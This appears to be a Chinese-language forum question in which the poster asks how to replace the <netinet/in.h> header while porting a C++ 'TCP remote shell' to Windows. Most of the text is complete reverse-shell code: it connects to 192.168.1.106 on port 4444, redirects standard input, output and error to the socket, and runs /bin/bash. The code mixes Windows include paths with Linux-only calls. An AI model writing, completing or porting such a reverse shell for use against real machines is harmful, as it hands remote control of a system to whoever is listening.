我目前在研发一个与TCP远程shell有关的C++项目,因此我构建了以下代码。由于我是在Windows上工作,所以我找到了所有以下“#include”的替代库和头文件,除了<netinet/in.h>
。
感谢你的所有帮助!
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <C:\Visual Studio 2019\libunistd-master\unistd\sys\socket.h>
#include <C:\Visual Studio 2019\libunistd-master\unistd\unistd.h>
#include <Winsock2.h>
//#include <netinet/in.h>
#include <C:\Documents\Visual Studio 2019\libunistd-master\unistd\arpa/inet.h>
int main(void) {
int sockt;
int port = 4444;
struct sockaddr_in revsockaddr;
sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("192.168.1.106");
connect(sockt, (struct sockaddr*)&revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char* const argv[] = {"/bin/bash", NULL };
execve("/bin/bash", argv, NULL);
return 0;
}
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